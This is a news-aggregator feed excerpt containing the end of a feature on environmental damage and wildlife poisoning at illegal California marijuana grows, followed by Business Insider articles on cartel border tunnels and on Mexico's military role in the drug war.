The worst fallout came one evening in February 2014. Gabriel and his wife Greta Wengart, who was pregnant at the time, called their two dogs in from the backyard. Nyxo, a 100-pound black lab mix, had been barking at something across the fence. He was a gentle giant they had adopted from a local shelter ten years before, after he had been shot at, tossed from a truck, and left for dead. Nyxo seemed sluggish as he went to sleep. In the middle of the night they heard him throwing up.

Early the next morning Nyxo started drooling and collapsed. Gabriel rushed him to the vet, but the dog slipped into a coma. That afternoon he had to be put down. Mourad helped with the necropsy—“one of the hardest things I’ve ever had to do.” He found Nyxo had been poisoned with brodifacoum, an anticoagulant rodenticide. A reward of $ 20,000 still has not brought in a single lead. Gabriel and Wengart’s daughter was born two weeks later.

Since then Gabriel has surrounded his house with high-def cameras and motion-sensor lights. He has learned to live with one eye over his shoulder, always scanning for suspicious cars or strangers. “I’m not being ignorant,” he says. “I have to be perceptive, for my family’s sake.”

Wengart is also a biologist, and serves as the IERC’s assistant director. She and Gabriel work closely on grow sites and other projects. “I worry about him less than I used to,” she says. “When he’s doing ground entry, that’s the only time I get nervous.” But that’s the only way to get certain kinds of information, by questioning captured growers, and the only way to make sure no one on the entry team stumbles upon anything toxic. The couple started out working together on busts, but now they try to take turns. Not being in the same place at the same time is both safer and more efficient. “It’s definitely a conscious choice,” she says.

“I think we’re all worried a little about Mourad,” says Higley, who often delivers public presentations along with Gabriel. “I wish he would keep a lower profile.” Higley himself has documented dozens of trespass grow sites on the Hoopa reservation, including one last year, the first, with a cache of carbofuran.

In his defense, Gabriel says legal growers have thanked him in person for drawing attention to the issue of illegal pot grows—not just because of the threat they pose to their profits, but also because the environmental and health risks could tarnish the industry’s overall image.

Early the next morning, Gabriel and five field techs from IERC park along a dirt road in the hills northwest of Quincy. The brushy slopes bristle with blackened tree trunks, remnants of a forest fire years earlier. The team is here to survey a grow site nicknamed Rattlesnake that was busted in 2015. Henderson is along for security, as is a burly National Guardsman from a specialized unit trained in chemical, biological, radiological and nuclear threats. The Guardsman doesn’t want his name used, and later pulls on a balaclava for a group photo. “Mourad’s a badass,” he says. “He’s smarter than all of us, and he’s a goat on the trails.”

Gabriel goes over security protocols as everyone gears up and tests radios. “No wallets, no cell phones, nothing identifiable.” The chance of dropping something that could lead someone unpleasant to your front door, while tiny, just isn’t worth it. “If you run into a grower, remember: Turn your mic on, and the safety code word is ‘hammerhead.’” He shoulders his backpack and checks his pistol. “Everyone have their mace?”

Personal safety has become a primary concern for anyone doing field work on public land in California, Thompson says. “It’s an entirely different paradigm than five or ten years ago. It pervades every aspect of the job.” It’s too dangerous to send anyone out alone, which means having to pay two people to do a job one could do. Law enforcement regularly declares scientific study areas off limits because of safety concerns.

“My techs are going in with guys with M-16s to recover dead animals, and that’s just to do our normal wildlife job,” Thompson says. Techs are taught to identify signs of illegal grow sites, such as trash, new trails, and sneaker prints in places where people generally don’t wear Nikes. They also learn how to appear as nonthreatening as possible in the field: no camo clothing, scientific equipment in full view. “I have to talk about it in job interviews now when I hire people,” Thompson says. “It used to be the risks were bears, snakes, driving mountain roads. Now it’s pot gardens.” It’s enough to scare away applicants, he says.

With all this in mind, Gabriel and Henderson lead the group up the hillside in the open sun. The field techs, two women and three men in their 20s, are clearly inspired by their boss’s enthusiasm. “This is real-world applied biology,” says Alex Reyer, climbing over a crumbling log. “I feel like I’m actually having some sort of impact for the better.”

Topping a bare ridge reveals Mt. Lassen’s snowy peak just above the horizon. On the other side of the ridge, a wide basin spills to the northwest. Somewhere down there, amid the dense wild lilac bushes and blackened 60-meter (200-foot) snags, is the grow site. Gabriel was on the bust, which netted 16,455 plants growing across 300 vertical meters (1,000 feet). One suspect was captured and another escaped by fleeing down the valley, evading two K9 dogs.

Today the team wants to catalog the environmental damage caused by two large campsites, to help plan a cleanup effort. Step one is finding the three plots, but in the past year, the vegetation has grown more than 2 meters (6 feet). It’s so dense that soon none of the team members can see anyone else. Drifting pollen fills mouths with a bitter taste.

It takes half an hour of sweaty bushwhacking to find the first piece of water tubing. Gabriel turns on a satellite tracker to map the plot, pulls on nitrile gloves, and starts digging through a trash pile inside a burned-out stump. He pulls out a propane canister, red Solo cups used to transport seedlings, a filthy pair of underwear. He counts empty bags and containers out loud: “Twenty pounds of 6-4-6 fertilizer… 50 pounds of 0-50-30… 1 pound of unknown white powdery substance in a Gatorade bottle.”

The irrigation lines lead along what were once rows of thriving plants, now barely visible indentations in the ground. A few still hold dead plants, their buds dry and mildewed. Someone calls in a dead bird on the radio. “Take a swab inside the mouth,” Gabriel replies. “Grab liver or kidneys if you can.” 

marijuana warsMorgan Heim, bioGraphic

Suddenly he pulls up short. It’s a single marijuana plant, small but definitely alive. “No way!” Just as quickly, excitement turns to concern. Growers often return and replant a raided site if all the irrigation line is left in place, like here. Could someone be here right now? But the plant has a taproot, which means it wasn’t planted by hand. Somehow it sprouted from a leftover seed, survived a winter buried in snow, and got itself pollinated. “Amazing. I’ve never seen that.” Gabriel shakes his head and takes a leaf sample to test for contaminants. 

As it turns out, survival isn’t the only thing exceptional about the plant. Its leaves test positive for carbofuran, most likely from the soil, meaning the chemical persisted much longer than anyone suspected it could. According to official estimates, the chemical should have been gone from the soil within a month. “It’s completely new data nobody would have ever conjured up,” Gabriel says.

Pesticides are showing up on both leaves and buds at trespass grows, Gabriel says, and they appear at detectable levels when the plant is smoked. If any of this harvest makes its way to a medical dispensary, it could end up in the lungs of people who are already immuno-compromised from AIDS or cancer. There hasn’t been any formal research in California yet, but studies and investigations in Colorado and Oregon have found pesticides on marijuana in legal dispensaries, including in products that were supposedly certified pesticide-free. Last year, the Emerald Cup, a major cannabis competition in Sonoma County that focuses on organic growing, started testing entries for pesticides. About a quarter of the concentrates and more than 5 percent of flowers were disqualified.

Higher up the hillside, at the edge of the burn scar, is what looks like a sprawling homeless encampment in the trees. Folding camp chairs, a pile of sneakers, and at least 20 cans of athlete’s foot spray are scattered around a dirt sleeping platform reinforced with logs. Four rolls of unused irrigation pipe as big as truck tires lie near a deep drift of food cans that smells like death. Each roll is a thousand feet long and retails for $ 250. “All of this was trucked in on someone’s back,” Gabriel says. “This is not done on a whim. This takes organization and capital.” 

Just below the campsite are three natural springs, or at least what’s left of them. When Gabriel was doing owl surveys here ten years ago, the trickling springs fed a thriving wetland of willows and alders. To give the pot plants a reliable, controllable source of water, the growers dug out the springs into pools the size of hot tubs, covered with sticks and tarps to hide them from the air. As a result, the wetland is virtually gone.

In a controlled setting, a marijuana plant uses about six gallons of water per day, which over a 150-day growing season comes out to 3,400 liters (900 gallons) of water per plant. Legal growers have found their once-unrestricted water use under increased scrutiny as the state confronted extreme drought conditions. (Some grows in Humboldt County have literally sucked creeks dry, leaving salmon and steelhead to flop and die in puddles.)

Under a law passed last June, growers now have to secure official water rights to get a growing permit. 

Illegal grows, of course, are another story. Gabriel has estimated that trespass grows use 50 percent more water because of less efficient irrigation systems and added stressors like pests, pathogens, and drier weather at higher elevations. Worse, some trespass growers leave their irrigation systems running around the clock throughout the year, even when nothing is growing. Multiply that by hundreds of thousands of plants and you have a serious water problem. One study by the California Department of Fish and Wildlife estimated that trespass marijuana grows used about 300 million gallons of water per square mile, roughly the same as almond orchards.

To put things into perspective, by Gabriel’s estimates the 1.1 million illegal pot plants removed in California in 2016 would have used somewhere around 1.3 billion gallons of water—as much as 10,000 average California households do in a year. He calculates that this Rattlesnake site alone could have used enough water in a single season to fill seven Olympic pools.

Near one of the springs, an empty jar of ibuprofen lies on the ground. This is where the one grower was caught: Fleeing a K9 dog, he took a bad jump and broke his leg. “I gave him some pills—he appreciated that,” Gabriel says. Not all of Gabriel’s interactions with growers are so friendly: He once had to help tackle a grower who had thrown off a law enforcement officer twice his size. 

To keep growers from returning and replanting the site, it will have to be remediated, returned to something like it was before it was planted. By Gabriel’s calculations that would mean removing around 6,000 meters (20,000 feet) of irrigation tubing and hauling out all the trash in 50-gallon bags, probably 40 or 50 in all. The springs will have to be rebuilt to function naturally, an expensive and lengthy process. This site is close enough to a road that all the crap can be hauled out on foot; more remote sites require helicopters.

marijuana tweed canopy growthBlair Gable/Reuters

Remediation requires money and manpower, both of which are scarce to nonexistent—just as they are on the law enforcement end. Out of the roughly 80 grow sites Gabriel and his team have investigated since 2014, they have been able to remediate just 29 so far. “We’d like to get that to a hundred percent, but there’s just no money for it,” he says. “Right now it’s all soft money, grants through our NGO, volunteers helping. I’m on the cusp of putting up a GoFundMe site. Next I’ll try selling cookies.”

He nudges a grimy digital scale with his boot. “How do you clean up hundreds of sites?” he says, with an edge of bitterness in his voice. “That’s a lot of bake sales.”

The biggest trespass grow sites are broken up into dozens of smaller subplots, making it less likely every plot will be busted—and also spreading out the environmental impact. “It used to be a single gaping wound, like a bullet hole,” Gabriel says. “Now it’s a shotgun.”

Last September, the IERC team surveyed two grow complexes in Lassen National Forest. Together they covered 2.6 square kilometers (one square mile), the largest site the team has ever seen. There were 30 camps in all, each with its own cache of rodenticide, and more than 65 kilometers (40 miles) of irrigation tubing that sucked up 269,000 liters (71,000 gallons) of spring water a day.

They also found the carcasses of a bear (Ursus americanus) and a gray fox (Urocyon cinereoargenteus). Test results are still pending, but they’re reasonably sure the fox, at least, is full of poison. Right next to it was the carcass of a turkey vulture (Cathartes aura); by all appearances, it took a bite or two and dropped dead. As he was taking samples, Gabriel watched flies land on the fox and die within seconds. “That night was the longest shower I ever took,” he says.

Twenty years after giving the thumbs up to medicinal marijuana, Californians voted in November to allow anyone over 21 to buy pot legally. By some estimates, Proposition 64 could double the state marijuana market to $ 6.6 billion by 2020. But as long as the plant is still illegal in other states, the demand that fuels trespass grows will continue.

Gabriel knows he’s fighting the good fight. He also knows he can’t keep going like this forever. Almost all his working hours are eaten up by “drug stuff” now. The raids, the long field days of surveys and remediation, the endless presentations and interviews: It’s rewarding—but draining, too.

He’d like to train other researchers and law enforcement officers to identify and remove chemical threats at grow sites. If enough people learn to do what he does, then he can step aside and become just another researcher again. “But if I stopped right now, it would be gone,” he says.

The idea of moving away comes up a lot at dinner, he says. The legal-growing boom is making Humboldt County a crazy place: Real estate is through the roof, and the murder rate just hit an all-time high. Gabriel’s mother is from Michoacan, and a lot of what he’s seeing in California is starting to sound like the stories he hears from south of the border. “I worry about raising a family here,” he says. “You do it for your kid, but you have to be there for your kid.”

The legal and illegal marijuana markets are different beasts, with different suppliers and customers, but in the end it’s all about growing the same plant. Even as the industry as a whole goes more mainstream, the ever-changing jumble of law and jurisdiction between different states and the federal government will encourage entrepreneurs and criminals to take advantage of blind spots and blurred lines.

As far as Gabriel and many others are concerned, only a uniform national marijuana policy could potentially resolve the issue. But if President Trump’s cabinet nominations are any indication, we may instead be in for a revival of the old-school drug war that President Obama let languish. Many of Trump’s cabinet picks, including Jeff Sessions as Attorney General and Scott Pruitt to head the Environmental Protection Agency, have opposed marijuana reform or legalization in various ways during their careers.

Even more ominously, a bill introduced in the House in January proposes to completely eliminate the law enforcement functions of the Forest Service and Bureau of Land Management and turn those duties over to the states. And some members of Congress have been pushing to entirely de-fund the Drug Enforcement Administration’s marijuana eradication program, whose budget has already dropped from $ 18 million to $ 14 million. California received more than a third of the funds in 2015.

As long as pot is still illegal in some parts of the U.S., the demand for illegally grown marijuana will persist. And as long as there are places where it’s cheaper and less risky to grow it, that is where it will happen. In the meantime, wildlife and the environment—and likely pot smokers themselves—will pay a price we’re only beginning to understand.

This story originally appeared in bioGraphic, an online magazine featuring beautiful and surprising stories about nature and sustainability.

NOW WATCH: Here’s what those white marks on your nails say about your health

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]]> https://briefnews.eu/cartels-are-growing-marijuana-illegally-in-california-and-theres-a-war-brewing/feed/ 0 ‘Like a block of cheese with holes in it’ — How Mexican cartels will subvert and avoid Trump’s border wall https://briefnews.eu/like-a-block-of-cheese-with-holes-in-it-how-mexican-cartels-will-subvert-and-avoid-trumps-border-wall/ https://briefnews.eu/like-a-block-of-cheese-with-holes-in-it-how-mexican-cartels-will-subvert-and-avoid-trumps-border-wall/#respond Sun, 12 Mar 2017 00:51:09 +0000 http://briefnews.eu/like-a-block-of-cheese-with-holes-in-it-how-mexican-cartels-will-subvert-and-avoid-trumps-border-wall/ Mexico drug tunnel US agentsREUTERS/US Immigration and Customs Enforcement (ICE)/Handout

“We will build a great wall along the southern border,” President Donald Trump said this summer, months prior to his election.

Since he took office in January, Trump, along with his Homeland Security Secretary John Kelly, have moved forward with plans to construct that southern barrier.

“The wall will be built where it’s needed first, and then it will be filled in. That’s the way I look at it,” Kelly said last month, adding a few days later that it would be a physical barrier that may have fencing in some places.

Trump has promoted the wall as a part of a solution to cross-border crime and to illegal immigration.

And while an above ground physical barrier may disrupt or delay surface movements, smugglers have long used another transportation method that a wall or fence is unlikely to interrupt.

“Drug traffickers love using tunnels,” journalist Ioan Grillo told Business Insider in early 2016. “The Mexico-US border is like a block of cheese with holes in it, with tunnels across it.”

The “US-Mexico border is literally riddled with tunnels,” Mike Vigil, former head of international operations at the US Drug Enforcement Administration,“ told Business Insider last spring.

“They have to move those drugs across the border and probably the most secure method is through the use of tunnels,” said Vigil, author of “Metal Coffins: The Blood Alliance Cartel.“

US authorities have long relied on old-fashioned detective work to detect tunnels and tunnel construction, supplementing their surveillance with seismic devices and ground-penetrating radar.

But traffickers have gravitated to areas where geographic features, like soil composition, and surface features — such as drainage networks and legitimate construction work — obscure their activities.

The hard-to-detect nature of these passages, and the highly-lucrative cargo that pass through them, ensure that there will always be more to find — something Kelly himself has admitted.

“Many, many years ago, they were very unsophisticated. They weren’t very long. They were relatively short,” Vigil said. The first so-called narco tunnel was built in 1989, by the Sinaloa cartel of Joaquín “El Chapo” Guzmán.

REUTERS/Jorge Duenes

Source: The New Yorker

“You look at some tunnels which are very, very basic, and I’ve been to look at some of these from the US side,” Grillo said. “And you see that they’re quite basic, you know, shovel, get in there, and kind of dig through under the border quite basically.”

REUTERS/Jorge Duenes

Authorities found 224 border tunnels coming from Mexico between 1990 and March 2016, 185 of which entered the US. Most have been short, narrow passages, or “gopher holes,” though others have been sophisticated works of engineering with lifts, rails, and lighting.

REUTERS/Jorge Duenes

Source: Associated Press


See the rest of the story at Business Insider


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]]> https://briefnews.eu/like-a-block-of-cheese-with-holes-in-it-how-mexican-cartels-will-subvert-and-avoid-trumps-border-wall/feed/ 0 After a decade fighting the cartels, Mexico may be looking for a way to get its military off the streets https://briefnews.eu/after-a-decade-fighting-the-cartels-mexico-may-be-looking-for-a-way-to-get-its-military-off-the-streets/ https://briefnews.eu/after-a-decade-fighting-the-cartels-mexico-may-be-looking-for-a-way-to-get-its-military-off-the-streets/#respond Mon, 13 Feb 2017 18:10:51 +0000 http://briefnews.eu/after-a-decade-fighting-the-cartels-mexico-may-be-looking-for-a-way-to-get-its-military-off-the-streets/ Felipe Calderon mexico militaryAP Photo/Guillermo Arias

In December 2006, just after taking office, Mexican president Felipe Calderon deployed Mexico’s military to the cities and countryside to take on the country’s drug trade.

It was not the first time Mexico’s military had been sent out to fight narcos, but Calderon’s escalation — from 20,000 soldiers deployed around the country to 50,000 — marked a shift, the effects of which have reverberated around the country.

But in recent months, Mexico’s military leadership, after a decade of fighting a seemingly indefatigable foe, has been increasingly critical of the tasks it has been assigned.

“We didn’t ask to be here. We don’t like it. We didn’t study how to chase criminals,” Mexican Defense Minister Salvador Cienfuegos said in early December. “Our function is something else, and it’s been made into something unnatural. We are doing things that don’t correspond to our training because there’s no one else to do them.”

Critical comments from the military about its decade-old domestic deployment are rare, but Cienfuegos has made similar statements before.

“Of course we have committed errors,” he said in an interview with Mexican news outlet Pulso in mid-March. “One of those was when we entered fully combat against drugs.”

Mexico's President Enrique Pena Nieto speaks next to Defence Minister, General Salvador Cienfuegos (L) and the Navy Secretary, Admiral Vidal Francisco Soberon (R) during an event in Mexico City, Mexico October 7, 2016. REUTERS/Carlos Jasso Thomson Reuters

In that interview, Cienfuegos also underscored the gap between the military’s training and the roles it was being asked to fill on Mexico’s streets. “The military is not intended for the work it does today,” he said. “No one with responsibility for this institution is prepared to do the functions of the police.”

While Cienfuegos has been one of the most high-profile critics of the domestic deployment of Mexico’s military, he is not the only one.

“I think that there is frustration on the part of Mexican military personnel about being engaged in eternal conflict,” David Shirk, a professor at the University of San Diego and director of the school’s Justice in Mexico program, told Business Insider.

“There’s a lot of dissatisfaction,” said Mike Vigil, a former chief of international operations for the US Drug Enforcement Administration, “because the use of the military to conduct law-enforcement operations actually goes against the Mexican constitution.”

mexicoReuters

Beyond the broader legal implications, the day-to-day impact of Mexico’s actions in a domestic law-enforcement role has caused frustration both inside and outside the ranks.

“There’s dissatisfaction within the military because it’s been the institution that they have always regarded as the most uncorruptible, if you will, within the country; however, now … there’s been more corruption within the ranks,” Vigil, who keeps in contact with Mexican law-enforcement officials, told Business Insider.

“So they feel that it’s corrupting the oldest and most respected institution within the Mexican government,” he said, adding:

“At the same time … you have federal prosecutors that are not very happy [because] the military are not trained investigators, and in my conversations with the PGR, they feel they’re losing a lot of cases or not being able successfully prosecute cases … because the military goes in, they’re not trained in this area — they do a very good job — but they go and trample evidence. They trample over crime scenes. They destroy evidence inadvertently.”

Mexico’s high impunity rates — only about 1% of crimes in the country are punished — have been attributed to the Mexican military’s poor preparation for law-enforcement duties, said Vigil, author of “Metal Coffins: The Blood Alliance Cartel.”

Relatives of the 43 missing students from the Teacher's Training College Ayotzinapa Raul Isidro Burgos take part in a march to protest against the government's handling of the investigation in the case of 43 students, to mark the 19-month anniversary of their disappearance, in Mexico City, Mexico, April 26, 2016. REUTERS/Edgard Garrido Thomson Reuters

For military personnel, filling a domestic role has brought with it unwelcome additions to the chain of command.

“On the other hand,” Shirk said, “and especially because we’ve also seen measures to try to reduce military impunity, increasingly the military has … to answer to civilian authorities. So if they screw up, or if they get mixed up in something like Ayotzinapa, they’re way more vulnerable.”

It’s strongly believed that members of the Mexican military were involved in the Ayotzinapa incident — the kidnapping and suspected killing of 43 student teachers and social activists in southwest Mexico in September 2014.

That is just one incident of many suspected military abuses.

A few months prior, after an incident in which 22 people were slain, military personnel were accused of executing at least 12 people in Tlatlaya in Mexico state and altering the crime scene to make it look like a confrontation.

Eight soldiers were charged but ultimately released for lack of evidence, and four ministerial police officers were sentenced to jail terms for torturing survivors of the massacre.

Mexico Guerrero Ayotzinapa protest crimeREUTERS/Daniel Becerril

“I would say since about 2014, more and more reports at the national and international level have been coming out with evidence with the human-rights abuses and violence perpetrated by the military,” Molly Molloy, a professor and librarian at New Mexico State University, told Business Insider in December. “It stands to reason … that if you put thousands of armed, trained people in the midst of a sort of criminal gang conflict … that more people are going to be killed.”

Some of those military personnel have even joined ranks Mexico’s cartels, committing offenses they are supposed to be combatting.

Since 2008, the US has supplied funding, equipment, and training to the Mexican military through Plan Merida. Many of those defectors, like the soldiers who eventually formed Los Zetas drug cartel, have put that training and that equipment to brutally effective use in Mexico’s underworld.

ZetasAlexandre Meneghini/AP

According to Vigil, Mexican President Enrique Peña Nieto’s administration is looking to move away from the style of drug war pursued by him and his predecessor, Calderon — most importantly, by de-emphasizing the Kingpin Strategy, which had the Mexican government pursuing high-ranking cartel figures.

“It’s like the proverbial hydra,” Vigil said of the organizations targeted by this strategy, “where you cut off a head and then a hundred take its place, and I’m talking about the splintering, the fragmentation, which has led to even more violence.”

“So now what the Peña Nieto administration and Miguel Chong, the interior minister, are going to do is they’re going to … alter their strategy and do a top-to-bottom dismantling of these organizations,” Vigil added.

Enrique Pena Nieto Luis Videgaray Miguel Osorio Chong Mexico government officials presidentREUTERS/Edgard Garrido

“They are changing their strategy to look at the entire infrastructure, attacking the entire infrastructure,” he continued.

“It’s not going to be overnight, but they, thank god, are looking to make necessary changes and hopefully have more significant impact and more lasting impact” on drug-related violence.

Despite those signs that the Mexican government is reassessing its drug war and looking to move away from a military-first strategy focused on the upper ranks of cartel leadership, the viability of such a shift will likely be hamstrung by Mexico’s failure to effectively dismantle criminal organizations and build stronger legal and law-enforcement institutions over the last decade.

Shifting the military away from the Kingpin Strategy “was arguably what they said they were going to do from the beginning, but they didn’t do it,” Shirk told Business Insider.

“As much as I think that the government should be thinking about a comprehensive longer-term strategy, I’m skeptical of that to the extent that I haven’t seen some of the elements that I would like to see for that to be an actual … effective policy measure,” he added.

Analysis of Mexican government outlays by Reuters this year found that since 2015, the Peña Nieto government has cut spending on security programs, after increasing that funding during the first two years of his term, which started in December 2012.

Mexico president military Enrique Pena NietoREUTERS/Edgard Garrido

Moreover, the long-time presence of the military in a law-enforcement role has undercut local and state police forces and made local and state governments reluctant or unwilling to enact reform programs.

“In the absence of competent state and local authorities, the Armed Forces are not able to retire, on penalty of leaving the population undefended in the face of organized crime,” Mexican security analyst Alejandro Hope wrote in a column in early December. “However, the presence of federal forces reduces the incentives for local and state political actors to build their own capacities.”

“Bad if they stay, bad if they go,” Hope said.

“Ten years ago it was decided that the police should be rebuilt, and we still haven’t seen that reconstruction,” Cienfuegos told the Associated Press in December. “This isn’t something that can be solved with bullets. It requires other measures, and there has not been decisive action on budgets to make that happen.”

NOW WATCH: ‘Mexico does not believe in walls’: Mexico’s president rejects Trump’s push for a border wall


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